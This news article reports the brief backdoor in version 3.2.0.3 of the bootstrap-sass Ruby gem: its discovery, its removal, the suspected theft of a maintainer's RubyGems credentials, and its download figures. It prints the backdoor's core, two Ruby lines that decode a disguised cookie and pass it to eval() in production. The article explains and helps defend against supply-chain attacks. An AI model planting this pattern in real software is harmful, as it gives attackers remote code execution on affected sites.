A backdoor in a popular Ruby gem

Finding ways to put backdoors into various programming-language package repositories (e.g. npm, PyPI, and now RubyGems) seems like it is becoming a new Olympic sport or something. Every time you turn around, there is a report of a new backdoor. It is now apparently Ruby's turn, with a new report of a remote-execution backdoor being inserted, briefly, into a popular gem that is installed by some sites using the Ruby on Rails web-application framework.

The bootstrap-sass gem provides a version of the Bootstrap mobile-centric JavaScript library for Sass environments. It can be easily added to web sites, so it is included in many. As with much of the web-application development today, these kinds of dependencies are often picked up automatically, built into cloud or container images, and deployed into production with little or no human supervision. Unfortunately, bootstrap-sass was backdoored by persons unknown in late March.

The backdoor was discovered quickly, less than a day after the release was made, according to a timeline in a Snyk blog post about the flaw. Version 3.2.0.2 of bootstrap-sass gem was removed from the RubyGems repository, presumably by the malicious actor(s), sometime prior to March 26. That was done to cause users to pick up a new version, 3.2.0.3, that was published on RubyGems on March 26. It contained the backdoor.

Later that day, Derek Barnes reported the problem to the bootstrap-sass GitHub issue tracker. Once it was reported, the malicious version was removed from RubyGems within an hour, but that did obviously provide a window of vulnerability. In addition, that window was accidentally extended for a week or so due to the way the gem was removed; the malicious version could still be specifically requested by its version number.

The backdoor code stands out fairly well, unlike some others, perhaps. As shown in the bug report, and described in the Snyk post, the backdoor lives in a bootstrap-sass file called lib/active-controller/middleware.rb. Looking at that code shows a few lines that look suspect even to programmers who do not know Ruby:

    x = Base64.urlsafe_decode64(e['http_cookie'.upcase].
               scan(/___cfduid=(.+);/).flatten[0].to_s)
    eval(x) if x

Even to an untrained eye, that would seem to be grabbing the value of a cookie sent over by the client, base64-decoding it, and then executing it with eval(). And, in fact, that is what's happening; the "__cfduid" cookie, which is normally only used by Cloudflare, is decoded and executed in the context of the web server. Actually, though, it is the "___cfduid" cookie that is being used by the malware (with three underscores, rather than two as in the Cloudflare cookie), presumably as a disguise of sorts.

Stepping back a bit, the code is only executed if the Rails application is running in production mode; it monkey patches the call method such that it does the cookie dance and then executes the original call method. Effectively, it inserts code received from the client directly in the path of handling its request. A comment on the bug report goes into some more detail of the backdoor code.

The best guess is that one of the two maintainers of the gem somehow had their RubyGems credentials compromised so that the attacker could update the package there (and "yank" the previous version to try to force "upgrades"). But, as Barnes described in his account of the discovery, the attacker could not update the GitHub repository to tag a version 3.2.0.3. They also could not issue the usual announcements of version updates. Apparently, and thankfully, the attacker only had credentials for RubyGems; the lack of credentials elsewhere kept them from covering their tracks better and, thus, alerted Barnes.

Moving forward, the maintainers of bootstrap-sass, Gleb Mazovetskiy and Thomas McDonald, have some suggestions on ways to make things more secure. For example, RubyGems does not keep a record of who pushed the malicious version, which means that there is no way to be sure which of the two maintainers lost control of their credentials. The multi-factor authentication (MFA) support could be improved as well.

In the grand scheme of things, this backdoor likely has a fairly low impact. As noted, the backdoor was found and fixed quickly but, for a little while, it did have the potential to wreak havoc on affected sites. It is a popular gem, but the version that was backdoored was not from the current 3.4.x branch; 3.2.0.2, which was the last good version before the compromise, was released in September 2014.

According to the RubyGems statistics, 3.2.0.2 has been downloaded 1.2 million times, while 3.2.0.3 with the backdoor has only been downloaded 1477 times and the fixed version, 3.2.0.4 (which is the same as 3.2.0.2), has been downloaded more than 1700 times. That version may have been popular a ways back, but it seems to have tapered down a fair ways. The most recent bootstrap-sass, 3.4.1, has been downloaded more than 250,000 times since its release in February.

Though this incident seems relatively minor, the next one may not be. As a community, we need to figure out ways to reduce these kinds of attacks. As long as there are wide swaths of the net that are pulling down lots of unvetted code and putting it into production without humans in the loop, those distribution mechanisms will continue to be attacked. Securing those mechanisms will go a long way toward stopping the next web-application backdoor. But we also need to ensure that the components we are using are still maintained, lest we replay the event-stream incident. There is much to do even though it seems like we have been working on it for decades.